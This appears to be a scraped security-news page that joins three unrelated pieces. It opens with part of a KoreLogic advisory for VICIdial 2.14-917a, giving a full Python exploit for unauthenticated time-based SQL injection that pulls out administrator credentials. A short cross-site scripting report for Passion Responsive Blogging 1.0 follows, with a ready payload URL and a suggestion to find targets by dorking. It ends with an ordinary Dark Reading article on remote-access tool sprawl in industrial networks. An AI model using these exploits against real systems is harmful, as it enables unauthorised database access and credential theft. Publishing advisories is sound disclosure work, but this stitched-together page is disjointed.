weeks of                   embargo.      2024-09-10 : KoreLogic public disclosure.7. Proof of Concept      The following script can be used to automate the exploitation process and      enumerate the results of provided queries:          $ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q 'SELECT @@version'          [+] Target appears vulnerable to time-based SQL injection          [~] Executing SQL: SELECT @@version          [~] 1          [~] 10          [~] 10.          [~] 10.6          [~] 10.6.          [~] 10.6.1          [~] 10.6.14          [~] 10.6.14-          [~] 10.6.14-M          [~] 10.6.14-Ma          [~] 10.6.14-Mar          [~] 10.6.14-Mari          [~] 10.6.14-Maria          [~] 10.6.14-MariaD          [~] 10.6.14-MariaDB          [~] 10.6.14-MariaDB-          [~] 10.6.14-MariaDB-l          [~] 10.6.14-MariaDB-lo          [~] 10.6.14-MariaDB-log          real    0m6.727s          user    0m0.425s          sys    0m0.020s      ##############################      ##      unauth_sqli.py      ##      ##############################      import string      import random      import urllib3      import argparse      import requests      from base64 import b64encodeurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)      class Exploit:          def __init__(self, rhost, rport, proxy=None):              """              This 'sleep' duration is derived by the average response time              multiplied by this value. A server with an average response time              of 10ms is given a 'sleep' duration of 300ms. Tune as needed.              """              self.SLEEP_MULTIPLIER = 30              self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}              self.ALLOWED_SCHEMES = ['http', 'https']              if proxy:                  self.REQUEST_PROXIES = {                      'http':  proxy,                      'https': proxy                  }              else:                  self.REQUEST_PROXIES = {}              self.TARGET_IP   = rhost              self.TARGET_PORT = rport              self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'              self.RANDOM_CHARSET = string.ascii_uppercase + string.digits          # returns a URI with 'http' or 'https'          def determine_target_uri(self):              for scheme in self.ALLOWED_SCHEMES:                  target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'                  try:                      response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)                      if self.VICIDIAL_FINGERPRINT in response.text:                          return target_uri                  except:                      pass          # returns a session object with custom proxies/headers if supplied          def build_requests_session(self):              self.base_uri = self.determine_target_uri()              session = requests.Session()              session.proxies = self.REQUEST_PROXIES              session.verify  = False              return session          # returns a random string of a given length          def random(self, length):              return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))          # returns a timedelta representing the response time of an injected SQL query          def time_sql_query(self, query, session):              username    = f"goolicker', '', ({query}));# "              credentials = f'{username}:password'              credentials_base64 = b64encode(credentials.encode()).decode()              auth_header = f'Basic {credentials_base64}'              target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'              request_params  = {'function': 'log_custom_report', self.random(5): self.random(5)}              request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}              response = session.get(target_uri, params=request_params, headers=request_headers)              return response.elapsed          # returns a boolean if time-based SQL injection is possible, additionally          # sets the best 'sleep' duration based on response times          def is_vulnerable(self, session, baseline_iterations=5):              # determine average baseline response time              zero_sleep_query = f'SELECT (NULL)'              total_baseline_time = 0              for _ in range(baseline_iterations):                  execution_time = self.time_sql_query(zero_sleep_query, session)                  total_baseline_time += execution_time.total_seconds()              average_baseline_response_time = total_baseline_time / baseline_iterations              self.sql_baseline_time = average_baseline_response_time              # determine if injected sleep query impacts response time              sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)              sleep_query  = f'SELECT (sleep({sleep_length}))'              execution_time = self.time_sql_query(sleep_query, session)              if execution_time.total_seconds() >= sleep_length:                  self.sql_sleep_length = sleep_length                  return True              else:                  return False          # determine if a character at a specific indice of a query result returns a          # boolean 'true' when compared to a given character using the supplied operator          def check_indice_of_query_result(self, session, query, indice, operator, ordinal):              parent_query    = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)'              execution_time  = self.time_sql_query(parent_query, session)              return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)          def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):              # convert charset to ordinals              all_characters     = sorted([ord(char) for char in charset])              reduced_characters = all_characters              # use a binary search and enumerate query results              result = ''              indice = 1              indice_could_be_null = True              while True:                  """                  we check if the value is NULL once per indice                  to determine when a string ends. this adds one                  request per indice, but since every boolean 'true'                  results in a delay this is faster than counting                  the length of the string before enumrating.                  """                  if indice_could_be_null:                      if self.check_indice_of_query_result(session, query, indice, '=', '0'):                          break                      else:                          indice_could_be_null = False                  # enumerate each character of query result with a binary search                  middle_indice  = len(reduced_characters) // 2                  middle_ordinal = reduced_characters[middle_indice]                  if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal):                      if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):                          reduced_characters = all_characters                          result += chr(middle_ordinal)                          indice += 1                          indice_could_be_null = True                          print(f'[~] {result}')                      else:                          reduced_characters = reduced_characters[:middle_indice]                  else:                      reduced_characters = reduced_characters[middle_indice:]              return result          # returns administrator username and password by          # exploiting time-based SQL injection.          def extract_admin_credentials(self, session):              print('[~] Enumerating administrator credentials')              username_charset = string.ascii_letters + string.digits              admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1"              admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)              print(f'[+] Username: {admin_username}')              password_charset = string.ascii_letters + string.digits + '-.+/=_'              admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"              admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)              print(f'[+] Password: {admin_password}')              return admin_username, admin_password          # injects SQL queries and enumerates results if instance is vulnerable          def exploit(self, custom_query=None):              session = self.build_requests_session()              is_vulnerable = self.is_vulnerable(session)              if is_vulnerable:                  print('[+] Target appears vulnerable to time-based SQL injection')              else:                  print('[-] Failed to perform time-based SQL injection')                  return              if custom_query:                  print(f'[~] Executing SQL: {custom_query}')                  self.enumerate_sql_query(session, custom_query)              else:                  self.extract_admin_credentials(session)      if __name__ == '__main__':          argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi')          required  = argparser.add_argument_group('Required Arguments')          optional  = argparser.add_argument_group('Optional Arguments')          required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address')          required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number')          optional.add_argument('-q',  '--query', required=False, help='Custom SQL query to execute',                default=None)          optional.add_argument('-p',  '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', default=None)          arguments = argparser.parse_args()          exploit = Exploit(              rhost = arguments.rhost,              rport = arguments.rport,              proxy = arguments.proxy          )          exploit.exploit(custom_query=arguments.query)The contents of this advisory are copyright(c) 2024KoreLogic, Inc. and are licensed under a Creative CommonsAttribution Share-Alike 4.0 (United States) License:http://creativecommons.org/licenses/by-sa/4.0/KoreLogic, Inc. is a founder-owned and operated company with aproven track record of providing security services to entitiesranging from Fortune 500 to small and mid-sized companies. Weare a highly skilled team of senior security consultants doingby-hand security assessments for the most important networks inthe U.S. and around the world. We are also developers of varioustools and resources aimed at helping the security community.https://www.korelogic.com/about-korelogic.htmlOur public vulnerability disclosure policy is available at:https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

VICIdial 2.14-917a SQL Injection

Passion Responsive Blogging version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Passion Responsive Blogging 1.0 XSS Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/responsive-blog-site-in-php-with-source-code/                                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : single.php?id=12'"()%26%25<acx><ScRiPt >prompt(982273)</ScRiPt>[+] https://127.0.0.1com/bmacblog/single.php?id=12%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(982273)%3C/ScRiPt%3EGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Passion Responsive Blogging 1.0 Cross Site Scripting

A veritable grab bag of tools used to access critical infrastructure networks are wildly insecure, and they're blobbing together to create a widening attack surface.

Source: Agencja Fotograficzna Caro via Alamy Stock Photo

The exploding demand for remote access into today's industrial control systems (ICS) and operational technology (OT) systems has created a nebulous, Internet-connected attack surface that's too attractive for cyberattackers to ignore. And cleanup is not going to be a simple affair.

Far too many ICS networks are being accessed by employees, partners, suppliers, and customers using a slapped-together mousetrap of tools, leaving these environments woefully exposed while connected to the Internet, according to researchers.

In a new analysis, Claroty's Team82 looked at 50,000 individual remote access-enabled devices running on industrial networks with dedicated OT hardware, and found 55% to have at least four remote access tools (RATs) in their environments. A full third (33%) reported using six or more RATs. Some organizations reported using up to 16 different of them.

Industries represented in the examples examined by the Team82 researchers included pharmaceuticals, consumer goods, food and beverage, automotive, oil and gas, mining, and manufacturing — many of which are considered critical infrastructure sectors.

"Within critical infrastructure, there is sometimes a bigger physical risk associated with a breach, depending on the jeopardized device," says Tal Laufer, Claroty's vice president of products, secure access. "That being said, all organizations with this type of tool sprawl are at risk, since it can create security gaps in their networks for threat actors to exploit."

Making matters even more complicated for cybersecurity teams, the Team82 report found that 79% of the organizations they surveyed have more than two remote access management tools in their environment that don't meet basic enterprise-grade security standards.

"Most of these tools lack the session recording, auditing, and role-based access controls that are necessary to properly defend an OT environment," the Team82 report said. "Some lack basic security features such as multi-factor authentication (MFA) options, or have been discontinued by their respective vendors and no longer receive feature or security updates."

**Cyberattackers Notice Sprawling OT Remote Access Attack Surface**

Adversaries are already well aware of the malicious possibilities that these remote access tools unlock — and have been for several years.

Laufer notes that several massive breaches in recent years have been the result of misconfigured remote access tools, including Colonial Pipeline in 2021 and Change Healthcare earlier this year.

As far back as 2020, analysts at Kaspersky warned about the risk of cyberattacks against remote access tools like TeamViewer and RMS to breach ICS environments. And in January 2023, CISA joined with the NSA to issue a warning that adversaries were launching widespread campaigns against remote management systems like AnyDesk to breach federal agencies.

Those warnings have played out: A threat actor was discovered attempting to drop XMRing cryptominer malware using TeamViewer in May 2023. Likewise, the remote access tool TeamViewer was targeted in failed attempts to compromise systems by LockBit 3.0 ransomware group in early 2024. Similarly, remote access tool production systems were compromised at AnyDesk last February, forcing the vendor to revoke all of its security clearances and reset all Web portal passwords.

Despite these warnings, ICS/OT operators are in a particularly tough spot without a clear path toward protecting themselves. The Team82 findings demonstrate how the sheer number of these tools can easily pile up within an environment, creating an ever-creeping blob of remote access surface area ripe for adversaries to probe for success. As the report detailed, each tool brings along with it its own supply chain weaknesses, often including a lack of basic, best-practice security features like MFA, auditing, and session recording.

Compounding the issue is a basic lack of monitoring, detection, and policy control tooling that works across disparate remote access systems, leaving them open to misconfigurations, as messy policy and control management, the report added.

The report added that managing all these various RATs, and the hardware behind them, is an expensive operational proposition.

**OT Remote Access Cleanup**

Unsurprisingly, the first step on the path to securing remote access for ICS/OT networks is to get a full inventory of the tools that provide access to OT assets, according to the report.

"A critical first step is ensuring you have complete visibility into your organization’s OT network to understand how many and which solutions are providing access to OT assets and industrial control systems (ICS)," Laufer explains.

Next, those solutions that don't meet basic enterprise cybersecurity requirements need to go — pronto.

"From there, engineers and assets managers need to actively eliminate or minimize the use of low-security remote access tools in the OT environment — especially taking into consideration those with known vulnerabilities or those lacking essential security features such as MFA," the researcher stresses.

It's also crucial to develop and require baseline security standards across the organization's supply chain. "Beyond this, security teams should also govern the use of remote access tools connected to OT and ICS," Laufer says. "This can help with alignment of security requirements and expansion of those requirements as needed throughout third parties within the supply chain."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

Tag

#mac